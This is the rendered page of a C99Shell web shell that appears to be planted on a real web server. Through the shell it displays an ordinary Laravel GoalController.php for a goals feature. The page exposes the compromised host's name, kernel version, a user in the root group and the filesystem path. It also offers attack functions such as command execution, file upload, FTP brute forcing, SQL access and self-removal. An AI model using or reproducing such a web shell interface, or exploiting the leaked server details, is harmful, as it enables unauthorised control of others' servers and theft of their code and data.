!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoalController.php (4.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Goal;
use 
Illuminate\Http\Request;

class 
GoalController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage goal'))
        {
            
$golas Goal::where('created_by''='\Auth::user()->creatorId())->get();

            return 
view('goal.index'compact('golas'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {
        if(
\Auth::user()->can('create goal'))
        {
            
$types Goal::$goalType;

            return 
view('goal.create'compact('types'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create goal'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'name' => 'required',
                                   
'type' => 'required',
                                   
'from' => 'required',
                                   
'to' => 'required',
                                   
'amount' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$goal             = new Goal();
            
$goal->name       $request->name;
            
$goal->type       $request->type;
            
$goal->from       $request->from;
            
$goal->to         $request->to;
            
$goal->amount     $request->amount;
            
$goal->is_display = isset($request->is_display) ? 0;
            
$goal->created_by \Auth::user()->creatorId();
            
$goal->save();

            return 
redirect()->route('goal.index')->with('success'__('Goal successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
show(Goal $goal)
    {
        
//
    
}


    public function 
edit(Goal $goal)
    {
        if(
\Auth::user()->can('create goal'))
        {
            
$types Goal::$goalType;

            return 
view('goal.edit'compact('types''goal'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
update(Request $requestGoal $goal)
    {
        if(
\Auth::user()->can('edit goal'))
        {
            if(
$goal->created_by == \Auth::user()->creatorId())
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'name' => 'required',
                                       
'type' => 'required',
                                       
'from' => 'required',
                                       
'to' => 'required',
                                       
'amount' => 'required',
                                   ]
                );
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$goal->name       $request->name;
                
$goal->type       $request->type;
                
$goal->from       $request->from;
                
$goal->to         $request->to;
                
$goal->amount     $request->amount;
                
$goal->is_display = isset($request->is_display) ? 0;
                
$goal->save();

                return 
redirect()->route('goal.index')->with('success'__('Goal successfully updated.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy(Goal $goal)
    {
        if(
\Auth::user()->can('delete goal'))
        {
            if(
$goal->created_by == \Auth::user()->creatorId())
            {
                
$goal->delete();

                return 
redirect()->route('goal.index')->with('success'__('Goal successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--